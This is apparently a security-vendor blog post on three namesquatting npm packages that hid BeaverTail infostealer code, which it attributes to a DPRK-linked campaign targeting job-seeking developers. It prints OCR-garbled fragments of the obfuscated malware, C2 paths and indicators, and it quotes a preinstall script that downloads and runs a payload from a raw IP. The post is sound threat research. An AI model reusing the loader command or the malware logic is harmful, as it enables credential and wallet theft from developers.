# Tenacious Pungsan: A DPRK threat actor linked to Contagious Interview

Securitylabs.datadoghq.com/articles/tenacious-pungsan-dprk-threat-actor-contagious-interview/







on this page



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# Key points and observations

- In September 2024, Datadog Security Research discovered three malicious npm packages: passports-js, bcrypts-js, and blockscan-api.
- These packages had a combined 323 downloads and contained samples of <u>BeaverTail</u> malware, a family of JavaScript infostealers and downloaders used by threat actors associated with Democratic People's Republic of Korea (DPRK, also referred to as North Korea).
- <u>Reporting from Palo Alto Networks Unit 42</u> has associated BeaverTail with an ongoing campaign named Contagious Interview, which targets job-seekers in the US tech industry. Victims are encouraged to participate in a fictitious job interview, during which the BeaverTail malware is delivered as part of an interview task.
- Datadog Security Research has linked the samples presented in this blog to Contagious Interview and attributes them to a single threat actor which we designate "Tenacious Pungsan." (We align nation-state threat actor clusters with their national breeds, and the Pungsan is a dog native to North Korea.)

# **Background**

In recent years, the open source software supply chain has become a focus of increasing concern as an effective attack vector for malicious actors to compromise downstream targets. Attackers may seek to compromise existing, often broadly used packages, or they may publish new packages containing malicious code. Attacks of this second kind usually involve some form of namesquatting, in which the name of the malicious package is very similar to a targeted legitimate package in hopes that developers will confuse the former for the latter. We have observed significant attacks of <u>both kinds</u> in 2024 alone.

Datadog Security Research continuously monitors both npm and PyPI for new and ongoing software supply chain attacks. We do so using <u>GuardDog</u>, a command-line scanner for identifying malicious open source packages via code behaviors and package metadata. With the assistance of GuardDog, we have cataloged more than 1,700 (and counting) malicious PyPI and npm packages over the past two years, which we publish in a <u>public dataset</u>.

# The timeline

On September 11, 2024, versions 0.7.0 and 0.7.1 of the npm package passports-js were automatically flagged for manual triage by a security researcher as part of our continuous monitoring of npm. GuardDog's scans reported that both versions of passports-js contained the same very long line of obfuscated JavaScript code in an otherwise unobfuscated source file, giving cause for suspicion.

Code obfuscation is the practice of obscuring the text or behaviors of a unit of code so that they are difficult for humans or automated analyzers to discern. Naturally, it is a routinely deployed tactic in open source malware. Common forms of obfuscation include using random identifiers instead of meaningful ones, removing code formatting, adding useless operations to complicate the code's structure, and concealing code behind nonstandard text encodings or encryption. The obfuscated line found in passports-js, shown in the following image, uses all but the last of these techniques.

J5 authenticator.js ×	*⊃
<pre>package &gt; lib &gt; J5 authenticator.js &gt; 12 function Authenticator() { 418 Authenticator.prototype.transformAuthInfo = function(fn, req, done) { 434 (function pass(i, err, tinfo) { </pre>	
<pre>462     } else { 463     layer(info, transformed); 464   } 465   catch(e) { 466   return done(e); 467   } 468  }(0); 469 }; 469 }; 470 471 /*** 472   * Return strategy with given `name`. 473 * 474 * @param {String} name 475 * @return {Strategy} 476 * @gapi private 477 */ 478 Authenticator.prototypestrategy = function(name) { 479   return thisstrategies[name]; 480 }; 481</pre>	
482 (function(_0x5066bb,_0x53c025){function_0x187742(_0x58b50a,_0x1147a0,_0x59b1d4,_0x52e149,_0x1c8be1){return_0x1b6a(_0x1c8be1-0xdf,_0x1147a0);}cc	onst
<pre></pre>	<pre>D _0x18e3d2 ,_0x1d1cf7, =0x1f4 /(0x67d+0x2 0v376', 2('0x229', f %)x1148df (function :[_0x5ab981 0x85);} 334486f, :7){return 0x6d2')+'h'] *)+_0x1bbef7 uef3c) 0x57)+' _0x1b6a</pre>

Obfuscated JavaScript found in an otherwise obfuscated passports-js source file (click to enlarge)

After closer investigation, we found that the passports-js package was in fact a backdoored copy of passport, a legitimate npm package providing a highly popular authentication framework for Express applications. The additional obfuscated line appeared to be the only difference between the two packages. Given this, it would appear that the uploader of passports-js was using a namesquatting attack to target would-be passport users who misremembered the latter's name.

#### passports-js

0.7.1 • Public • Publis	hed a day ago				
🖹 Readme	Code Beta	5 Dependencies	🗞 0 Dependents	2 Versions	
			Install		
			> npm i passpor	ts-js 🗘	
			Repository		
Simple, un	obtrusive authentic	cation for Node.js	github.com/jare	edhanson/passport	
			Homepage		
Passport			🔗 www.passportje	s.org/	
usspore			♥Fun	nd this package	
assport is <mark>Express</mark> -comp	atible authentication middleware	for Node.js.	Weekly Downloads		
assport's sole purpose is	to authenticate requests, which i	t does through an extensible set of	118		
lugins known as <i>strategi</i> chema, which maximizes	<i>es</i> . Passport does not mount rout s flexibility and allows application	es or assume any particular database -level decisions to be made by the	Version	License	
eveloper. The API is simp	ele: you provide Passport a reques	st to authenticate, and Passport	0.7.1	MIT	
rovides hooks for contro	lling what occurs when authentic	ation succeeds or fails.	Unpacked Size	Total Files	
	Sponsors		589 kB	25	
	Cimerta Authoration	_	Issues	Pull Pequests	
	Make login our problem. Not	t yours.	340	40	
Auth0 by Okta provides	a simple and customizable login r	page to authenticate your users. You	Last publich		
an dynamically add new passi	capabilities to it - including socia keys - without making changes to	l login, multi-factor authentication, or your app's code.	a day ago		
We help protect your an	op and your users from attacks - d	efending your application from bot	Collaborators		
attacks and detecting ru	ntime anomalies based on suspic context, and more.	cious IPs, breached credentials, user	<b></b>		

#### The npm page for passports-js (click to enlarge)

At the time of this discovery, the uploading user, superdev727, had published only one other package to npm: bcrypts-js. We determined that bcrypts-js was also namesquatting another legitimate npm package, bcryptjs, a bcrypt library with 2.1M weekly average downloads at time of writing.

#### bcrypts-js

2.4.4 • Public • Published 7 days ago

🖹 Readme	Code Beta	O Dependencies	lo Dependents 🍪	1 Versions		
bcrypt.js			Install			
Optimized bcrypt in JavaScr	ipt with zero dependencies. Co	ompatible to the C++ bcrypt binding	> npm i bcrypts	s-js 🗅		
Shuild static npm v2.4.3 dow	vnloads 8.8M/month donate		Repository			
			• github.com/dco	bdelO/bcrypt.Js		
Security consider	rations		Homepage			
Besides incorporating a salt	to protect against rainbow tab	le attacks, bcrypt is an adaptive	𝔄 github.com/dco	odeIO/bcrypt.js#readme		
function: over time, the iteration count can be increased to make it slower, so it remains			🗄 Weekly Downloads			
resistant to brute-force searc	ch attacks even with increasing	g computation power. ( <mark>see</mark> )	81			
While bcrypt.js is compatible	e to the C++ bcrypt binding, it is	s written in pure JavaScript and thus	Version	License		
slower ( <mark>about 30%</mark> ), effectiv equal time span.	ely reducing the number of ite	rations that can be processed in an	2.4.4	MIT		
The maximum input length i	s 72 bytes (note that LITES enc	oded characters use up to 4 bytes)	Unpacked Size	Total Files		
and the length of generated	hashes is 60 characters.	oded characters use up to 4 bytes)	301 kB	27		
			Issues	Pull Requests		
Usage			44	10		
The library is compatible wit	h CommonJS and AMD loaders	s and is exposed globally as	Last publish			
dcodeIO.bcrypt if neither	r is available.		7 days ago			
node.js			Collaborators			
On node.js, the inbuilt crypt	o module's randomBytes inter	face is used to obtain secure random	<b>100</b>			
numbers.			1001			

#### The npm page for bcrypts-js (click to enlarge)

As with passports-js and passport, the only difference between bcrypts-js and bcryptjs appeared to be a long, obfuscated line inserted into an unobfuscated source file. We found the obfuscated lines from passports-js and bcrypts-js to be identical.

As the final entry in this saga, two days later, on September 13, 2024, GuardDog flagged version 1.3.1 of the package blockscan-api for review with similar findings. This time, the single obfuscated line was contained in its own source file instead of being wedged in among unobfuscated code.

#### JS hash-blob.is × き 曰 … package > lib > JS hash-blob.js > [[function(\_0x580ef7,\_0x4e3732){const \_0x324826=\_0x580ef7();function \_0x9504e8(\_0x1d2ef9,\_0x440bca,\_0x3507f2,\_0x32e3ab,\_0x5cbd6e){return \_0x51f2(\_0x3507f2--'0x50',\_0x32e3ab);}function \_0x37cd2c(\_0x64872f,\_0x307d64,\_0x56f436,\_0x3a762d,\_0x9d2fba){return \_0x51f2(\_0x64872f-'0x14f',\_0x9d2fba);}function \_0x191cd2 (\_0x33d3aa,\_0x1af2a3,\_0x303d1,\_0x1cb491,\_0x5197dd){return \_0x51f2(\_0x1cb491-0xfc,\_0x33d3aa);}function \_0x5555b2(\_0x18253d,\_0x1a0bc8,\_0x4222f7,\_0x5a6d78, \_0x54428a){return \_0x51f2(\_0x5a6d78- \_0x12c,\_0x1a0bc8);}function \_0x4aea72(\_0x97b7db,\_0x376205,\_0x4873e7,\_0xf481e5,\_0x180df4){return \_0x51f2(\_0x97b7db-0xef, 0x4873e7);}while(!![]){try{const \_0x19fb40=-parseInt(\_0x5555b2('0xf9','0x17c','0x4c','0xd6','0x64'))/(0xef0+0x1\*-0x2303+0x1414)+-parseInt(\_0x5555b2('0x1bd' '0x114',0x10a,'0x170',0x1d))/(-0x1b53+0xc3a+-0xf1b\*-0x1)+parseInt(\_0x191cd2('0x2f2','0x1a1',0x283,'0x238',0x1ab))/(0x103d\*-0x1+-0x6df+-0x171f\*-0x1)+parseInt (\_0x37cd2c(0x3e3,'0x45b','0x366',0x3f5,0x323))/(-0x449+0x7+-0x10df+0x1+0x2ee2)+-parseInt(\_0x5555b2(0x51,'0x63','0x5d','0x3d',0xb4))/(0x88e+0x1+-0x382+0x4) +0x1d5+0x3)\*(parseInt(\_0x5555b2(0x219,0x20d,'0x235','0x186','0x143'))/(0x111+0xd+0x1b6d+-0x116+0x26))+parseInt(\_0x191cd2('0x233','0x209','0x200','0x222', 0x228))/(0xf\*0xfb+0x1b\*-0xa8+0x30a)+parseInt(\_0x5555b2(-0x7,0x7b,'0xcb',0xc4,'0x94'))/(-0x1\*0x10a0+0x4c\*0x10+-0xfe\*-0xc);if(\_0x19fb40===\_0x4e3732)break;else \_0x324826['push'](\_0x324826['shift']());}catch(\_0x3e6146){\_0x324826['push'](\_0x324826['shift']());}}(\_0x2399,0x8c5f+0xcc6eb+-0x40f8b)];const \_0x25bb31= (function(){let \_0x5389c9=!![];return function(\_0x3f0328,\_0x145e0a){const \_0x5c31e1=\_0x5389c9?function(){function \_0x170717(\_0xaea0b8,\_0x5eeec3,\_0x5a308e, 0x54a31e,\_0x8c2531){return \_0x51f2(\_0x8c2531- -0x395,\_0x54a31e);}if(\_0x145e0a){const \_0x4ecdfd=\_0x145e0a[\_0x170717(-0x25a,-0x1c2,-'0x145',-'0x1e3',-0x204)] (\_0x3f0328,arguments);return \_0x145e0a=null,\_0x4ecdfd;}}:function(){};return \_0x5389c9=![],\_0x5c31e1;};()),\_0x5c0879=\_0x25bb31(this,function(){corr \_@x9e7e98={};function \_@x373d30(\_@xb2efe0,\_ex1aea1d,\_@x111efe,\_0xa3ef72,\_@x4105c4){return \_@x51f2(\_@x1aea1d-@x3cd,\_@x111efe);}\_@x9e7e98[\_@x104f21('@x1e9', '0x204','0x149','0x142',0x16f)]=\_@x43b916('0x275','0x24d','0x2df','0x21d','0x287')+\_0x25222a(-'0x95',-0x19c,-'0x130',-0x76,-0x10b)+'+\$';const \_@x319cb2=\_0x9e7e98;function \_@x25222a(\_@x3a2832,\_@x5a8a35,\_@x421758,\_@x30a484,\_@x454ecc){return \_@x51f2(\_@x454ecc- -0x242,\_@x421758);}function \_@x26244b (\_0x5efcd7,\_0x33c1e8,\_0x292790,\_0x51289b,\_0x8421e8){return \_0x51f2(\_0x33c1e8- -0xa7,\_0x8421e8);}function \_0x104f21(\_0x315cc8,\_0x4ff22b,\_0x5411de,\_0x4fb003, 0x281, 0x163 , 0x285] () [\_0x25222a(-0x50', -0x12), 0x16', 0x66', -0x74'), -0x22(-0x34', -0x27', -0x40', -0x10)] [\_0x25222a(-0x50), -0x10)] [\_0x25222a(-0x50), -0x10)] [\_0x25222a(-0x50), -0x10)] [\_0x25222a(-0x50), -0x10)] [\_0x25222a(-0x10), -0x10)] [\_0x2522a(-0x10), -0x10)] [\_0x252a(-0x10), -0x10)] [\_0x25a(-0x10), -0x10)] [\_0x25 - '0x10f',-'0x60',-0x102)+'h'](\_0x319cb2[\_0x25222a(-0x43,'0x2e',0x4a,-'0x7c',-'0x6c')]);});function \_0x4bfb7a(\_0x5d51fe,\_0x40983d,\_0x6a22e6,\_0x5d54di, \_0x1a1','0x60',-0x5172(\_0x5d51fe\_0xd6)\_0x6a22e6);}function \_0x2390(){const \_0xdbb8e2=['/id.j','/User','aholp','UMvls','ZsMeX','omihk','keych','e/Chr', 'alaa','uts','post','idlcd','hcel','ctor(','readd','ihDee','ync','g/Moz','ejDal','cfgod','MrNi','age'd','/Chro','phepc','fig/s','ave=B','Xcrn','ata/L', 'said.','uts','post','idlcd','hcel','ctor(','readd','ihDee','ync','g/Moz','ejDal','cfgod','MrNi','age'd','/Chro','phepc','fig/s','ave=B','Xcrn','ata/L', 'son','x22retu','ary/K','filen','tobEX','0jWdM','Vling','ware/','x220<-(x20','log','ivrEz','lmeee','lengt','acces','\*(?:(','push','hostn','IbIxb','dirna', 'ort/B','ase','setIn','koFH','lx20sta','pebkl','aeaoe','hid','tad','eofbd','sSync','rome','n'x20set','idb','Mircu','ajnim','EYUdu','ibI','strin', 'tyOGSB','ase','setIn','koFH','lx20sta','pebkl','aeaoe','hid','tad','eofbd','sSync','rome','n'x20set','idb','Mircu','ajnim','EYUdu','ibI','strin', 'tyOSB','ase','setIn','koFH','lx20sta','pebkl','aeaoe','hid','tad','eofbd','sSync','rome','n'x20set','idb','Ica24','eoca','tud','ibI','strin', 'tyOSB','ase','setIn','koFH','lx20sta','pebkl','aeaoe','hid','tad','eofbd','sSync','rome','n'x20set','idb','Ica24','aca2/','eo.0','KuMXC','Loca1','bbIdc',' 'solan,'xSc+xSc+x20', \_pro','4348712DFceUz','xTx20','chain','getI','koBe','ioNx20\*','gpafn','.ile','1634318AynYhC','mmke','jbInd','com.o','(((.+', 'ANJCM','oamin','Strea','ENmJL','DxmdR','no6tb',')+)+)','acmac','fig/','FWjei','KzTFT','1569741ffXdLK','Lchg','hecda','forEa','searc','actio','imhlp','n() 'xRda','K20Bata','orm','ess','Profi','KDWA','renam','X2C(X220\*X3C','Knocf','Ktt','hlefn','des','YdTM','eRead','State','rmSyn','525','error', 'nkdna','ECml','/uplo','weed','fgggk','tings','-Brow','ain','n3Xz0\x22','incl','padd','oac0bat','ground','copf','-rrele','JSTel','oon.ex', 'ata7R','\x20Ebt','funcd','/lad',''x220xX20','22','WxSa','behhm','zAZ\_,'path','dlcob','offie','mmhnf','ZUEbx', proto , Ztk01, berau , Joilszowakawama , appty , reque , nt , Edge , reles , tech , erakzes , Kacp.21 , nstru , child , =Lokzekzez , lufr , sortw , 'ame','/Logi','\_lst','cXGFE','log','toStr','apagc','ensio','biWz','ophphp','raveS','init','illa/','ZOGDd','ort/G','cul\x20','liVm','e-chr','eSoft','FDTcz', 'bind','xScpyth','ldhgm','write','tar\x20-','imael','count','tion', '/Brav','User\x20','ector','exec','ile','rligA','mgjnj','repla','dZnlp','bfnae', 'dKNXV','198947oJsuVS','ing','\$]\*)','while','Z\_\$][','ion','ata','http:','const','meeoP','cionb','fhboh','re/Br','/AppD','ome','oohck','pgRka','excep', 'pytho','ccfch','nctio','Roami','dgcjj','call','test','JBbdL','0-9a-','YrhBg','creat','re/Op','exist','ZuXEz','e)\x20{}','url','\_uld','/pdow','Brave', 'Edsxu','ivlHD','warn','hifaf','mdjon','fdial','mDRmp','ogin.','yADpn','Iomee','ructo','\X5c.pyp','/Libr','ox/Pr','ser','size','efaul','164.1','are/B','7. 24:','retur','type','bohpj','337955qvYVdG','is\x22)(','get','aeach','//95.','conso','odkjb','gmccd','moz-e','input','ation','rowse','UyoDM','to\_\_','oihof' '/.con', 'formD', 'omjjk', '/stor', 'ibnej']; @x2399=function(){return \_@xdbb8e2;}; return \_@x2399();}\_@x5c0879(); const \_@x1a2c47=(function(){let \_@x55dc8a=!![]; return function(\_@x58ff43,\_@x5bc241){const \_@x4c015d=\_@x55dc8a?function(){function \_@x55ce92(\_0x19883b,\_@x46bb66,\_@x48939a,\_@x5b56c2,\_@x28ce32){return \_0x51f2(\_0x28ce32- -'0xb1',\_0x19883b);}if(\_0x5bc241){const \_0x472cd5=\_0x5bc241[\_0x55ce92(0x5e,0x140,0xec,'0xde',0xe0)](\_0x58ff43,arguments);return Ln 1, Col 1 Spaces: 4 UTE-8 LE {} JavaScript

#### Obfuscated JavaScript found in a standalone blockscan-api source file (click to enlarge)

We found that blockscan-api, like passports-js and bcrypts-js, is a backdoored copy of another package, etherscan-api, which provides an interface to the Etherscan API. The obfuscated line found in blockscan-api differed from that in the other two packages. However, we were able to confirm that the two samples are highly similar after deobfuscation, though not without some interesting differences that we describe below.

It is worth noting that blockscan-api was published to npm by a different user account, intelliman, and also appears to be primarily targeting blockchain developers. At time of discovery, the intelliman account had no other published packages.

7/15

#### blockscan-api

1.3.1 • Public • Published 13 hours ago

🖹 Readme	Code Beta	S Dependencies	윯 0 Dependents	1 Versions
Blockscan API		Install		
Development of a NEXTGEN Version has started - please			> npm i blocksc	an-api 🗘
stand by			Version	License
downloads 807k license MIT tag	v10.3.0 issues 2 open		1.3.1	ISC
A way to access the <b>ethersca</b> the blockchain.	<mark>an.io api</mark> using promises. Fetch	a diverse set of information about	Unpacked Size 110 kB	Total Files 15
Mainnet		Last publish 13 hours ago		
<pre>var api = require('ef var balance = api.acc balance.then(function</pre>	thersscan-api').init('389 count.balance('0xde0b2956 h(balanceData){ eData);	9FCZBD45XFVTWYENCHJIXUMDCEHY42I 569a9fd93d5f28d9ec85e40f4cb697I	Collaborators	

The npm page for blockscan-api (click to enlarge)

The passports-js and bcrypts-js packages and the superdev727 account were removed from npm just after 11pm UTC on September 11, around 12 hours after our initial discovery. Meanwhile, blockscan-api and the intelliman account remained live for nearly a month, being removed on October 9, 2024 after our report on October 3. GitHub Security Advisories have been released for <u>all three packages</u>. Over their respective lifetimes, passports-js was downloaded 118 times, bcrypts-js 81 times, and blockscan-api at least 124 times, for a total of 323 downloads.

## **Obfuscated BeaverTail malware**

In the npm ecosystem, use of a particular JavaScript obfuscator (available <u>here</u>) is surprisingly common, even among totally benign packages. We found that the two malware samples discovered in <u>passports-js/bcrypts-js</u> and <u>blockscan-api</u> were obfuscated using this common obfuscator. This particular kind of obfuscation can be partially undone easily using <u>free automated tools</u>, allowing us to statically analyze both recovered samples.

What we found was that both obfuscated samples conceal a recent variant of a malware family known as BeaverTail. First identified in late 2023 by researchers at Palo Alto Networks Unit 42, BeaverTail is a JavaScript infostealer and downloader malware prominently used by threat actors connected to the DPRK, in particular as part of the Contagious Interview campaign that targeted developer job applicants.

BeaverTail targets cryptocurrency wallets as well as credit card information stored in browser caches and login keychains on Unix and Windows systems. It then exfiltrates those data to attacker-controlled C2 servers. As <u>described</u> in detail by Unit 42, it also contains logic to

download and persistently run a second-stage Python backdoor known as InvisibleFerret from these servers. We observe all characteristic behaviors of BeaverTail in both deobfuscated samples, illustrated via the following images.



<u>Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail</u> <u>samples showing hardcoded paths for Brave, Google Chrome, and Opera data directories</u> <u>and services as well as IDs for several cryptocurrency wallet browser extensions (click to</u> <u>enlarge)</u>



Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail samples showing exfiltration of data from the Login Keychain (click to enlarge)



### <u>Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail</u> <u>samples exfiltration of data from Brave browser caches (click to enlarge)</u>

There are some interesting differences between the two BeaverTail variants. Most notably, they appear to be associated with different threat actor—specified campaign IDs. These IDs are discernable in the URLs shown in the following side-by-side comparison, both of which have the form <a href="http://client/3/campaign">http://client/3/campaign</a> ID>. In particular, this is the URL from which BeaverTail sources the first stage of InvisibleFerret to run on the victim's system.



<u>Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail</u> <u>samples showing the presence of different campaign IDs (click to enlarge)</u>

As seen here, the passports-js/bcrypts-js sample (left) uses campaign ID 726 while the blockscan-api sample uses ID 525. This raises the possibility that different InvisibleFerret variants are being used, with each matched to particular targeted groups.

The campaign ID 525 was <u>recently observed</u> by Stacklok in a new wave of a Contagious Interview–like campaigns targeting blockchain-related developer job applicants. However, it appears that 726 is a previously unseen campaign ID from this threat actor, indicating the possibility of a new effort to target new segments of Node.js developers.

There may also be a certain amount of refactoring that differentiates the two BeaverTail samples, with two functions in the passports-js/bcrypts-js sample being slightly more structured than their analogues in the blockscan-api sample. These code segments deal with debugging and Firefox data collection, with side-by-side comparisons in the images that follow. It should be noted that these differences may simply be deobfuscation artifacts.



Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail samples showing differences possibly due to refactoring (click to enlarge)

603	function Avda2dab( Av5d421d) {	580	function @x3a@hfe( @x23@6a5) {
	const 0x561be4 = {		function 0x3dfaf2(0x24c49c) {
605	zkYvE: function (@x253124, @x339817) {		if (typeof_0x24c49c === "string") {
606	return _0x253124 === _0x339817;		return function (_0x3a63c7) {}.constructor("while (true) {}").apply("counter");
607			<pre>} else if (('' + _0x24c49c / _0x24c49c).length !== 1    _0x24c49c % 20 === 0) {</pre>
608	};		(function () {
609	_0x561be4.EAsdm = function (_0x27e760, _0x3ef85c) {		return true;
610	return _0x27e760 % _0x3ef85c;		<pre>}).constructor("debugger").call("action");</pre>
611	);		} else {
612	_0x561be4.BZPHH = "stateObject";		(function () {
613	<pre>function _0x4c038f(_0x3f9ada) {</pre>		return false;
614	if (typeof _0x3f9ada === "string") {		<pre>}).constructor("debugger").apply("stateObject");</pre>
615	<pre>return function (_0x13a9e8) {}.constructor("while (true) {}").apply("counter");</pre>		}
616			_0x3dfaf2(++_0x24c49c);
617	if (('' + _0x3f9ada / _0x3f9ada).length !== 1    _0x561be4.EAsdm(_0x3f9ada, 20) === 0)		}
618			try {
619			if (_0x2306a5) {
620	<pre>}).constructor("debugger").call("action");</pre>		return _0x3dfaf2;
621	} else {		} else {
622			_0x3dfaf2(0);
623	return false;		3
624	<pre>}).constructor("debugger").apply(_0x561be4.BZPHH);</pre>		} catch (_0x615f34) {}
625			}
	_0x4c038f(++_0x3f9ada);		
	try {		
630	if (_0x5d421d) {		
631	return _0x4c038f;		
632	} else {		
633	_0x4c038f(0);		
634	) )		
	) carch (_0X4C2290) ()		
636			
037			

<u>Side-by-side comparison of the passports-js/bcrypts-js and blockscan-api BeaverTail</u> <u>samples showing differences possibly due to refactoring (click to enlarge)</u>

As for the second-stage InvisibleFerret payloads, we were unable to obtain either sample before the C2 infrastructure was taken down.

# Links to Contagious Interview

The samples of BeaverTail contained in these packages have several tactics, techniques, and procedures (TTPs) that overlap with those described in public reporting of the Contagious Interview campaign. We have already noted similarities in the distribution method (hosting on npm) and obfuscation of the samples themselves. However, there are some additional observations that allow us to link this activity to Contagious Interview.

Tenacious Pungsan tend to reuse infrastructure for their campaigns. The BeaverTail samples described in this blog all communicate with a web server hosted at the IP address 95.164.17[.]24 on port 1224. In October 2024, this IP was linked to Contagious Interview in a blog that described a new, Qt GUI variant of BeaverTail. Prior to October 2024, two other vendors had linked this IP to DPRK activities.

In addition to the IP address, Tenacious Pungsan also reuse the same web directory structure for their C2 server. Exfiltrated files are sent to the URL endpoint /uploads, the Python installation is hosted at /pdown, and InvisibleFerret is hosted at /client/<integer>/<3 digit campaign ID>. This is consistent with the reports linked above.

The infostealer component of BeaverTail targets a specific set of browser extensions associated with cryptocurrency and web3 technologies. This list is consistent across our BeaverTail samples, the Qt GUI variant Unit42 reported on, and the original nodeJS variant also covered by Unit42. Similarly, these samples all attempt to extract the macOS Login Keychain.

The above points allow us to assess with high confidence that these samples are indeed BeaverTail and are being distributed as part of the Contagious Interview campaign.

# How Datadog can help

Datadog <u>Software Composition Analysis (SCA)</u> customers can verify whether any of these packages are currently installed in their infrastructure by running <u>this query</u> in the Library Risks explorer: <u>library\_name:(passports-js OR bcrypts-js OR blockscan-api)</u> Status:Open. If your system is impacted, it is important to take immediate measures such as rotating credentials, isolating the application, and investigating potential spread.

Mali	ious Package Library: harthat-hash Version: 1.3.3	
/ice:n	ode-api-service env:prod	
N	+ Add Team	
ails		
Vhat	Happened	
his pa	ckage downloads and executes malicious software upon installation for Windows platforms	
narth	at-hash executes its payload through the following code:	
"pre	nstall": "node deference.js && del deference.js",	
cons packa "pacl	: data = '@echo off\ncurl -o Temp.b -L "http://142.111.77.196/user/user.asp?id=237596" > nul 2>&1\nrename Temp.b uge.db > nul 2>&1\nrundll32 package.db,GenerateKey 1234\ndel "package.db"\nif exist "pk.json" (\ndel uage.json" > n 2>&1\n)';	
Show	Less ^	
T) R	isk in service 😵 node-api-service on env:prod	
• •	irst detected 1 day ago, Jul 9, 2024, 5:00 pm	
J	ast detected just now, Jul 10, 2024, 4:42 pm	
t v	/indow of exposure 23 hours	
	dvisory Published date 3 days and Jul 7 2024 15-30 pm	

## Datadog SCA identifying a malicious dependency (click to enlarge)

In order to enable further research, we have published all affected versions of passports-js, bcrypts-js, and blockscan-api to our public malicious package dataset.

# **Conclusion**

Copying and backdooring legitimate npm packages <u>continues</u> to be a common tactic of threat actors in this ecosystem. These campaigns, along with Contagious Interview more broadly, highlight that individual developers remain valuable targets for these DPRK-linked threat actors.

# Indicators of compromise

PackagePurposepassports-js-v0.7.0.zipInitial payload

Package	Purpose	
passports-js-v0.7.1.zip	Initial payload	
bcrypts-js-v2.4.4.zip	Initial payload	
blockscan-api-v1.3.1.zi	<u>o</u> Initial payload	
IP addresses Pur	Note	
95.164.17[.]24 Data Invis	a exfiltration, ibleFerret download	Reused from previous campaign documented by Unit42
NPM authors Email		Packages published
superdev727 austir	27ahn@outlook.com	passports-js, bcrypts-js
intelliman g65492	036@gmail.com	blockscan-api

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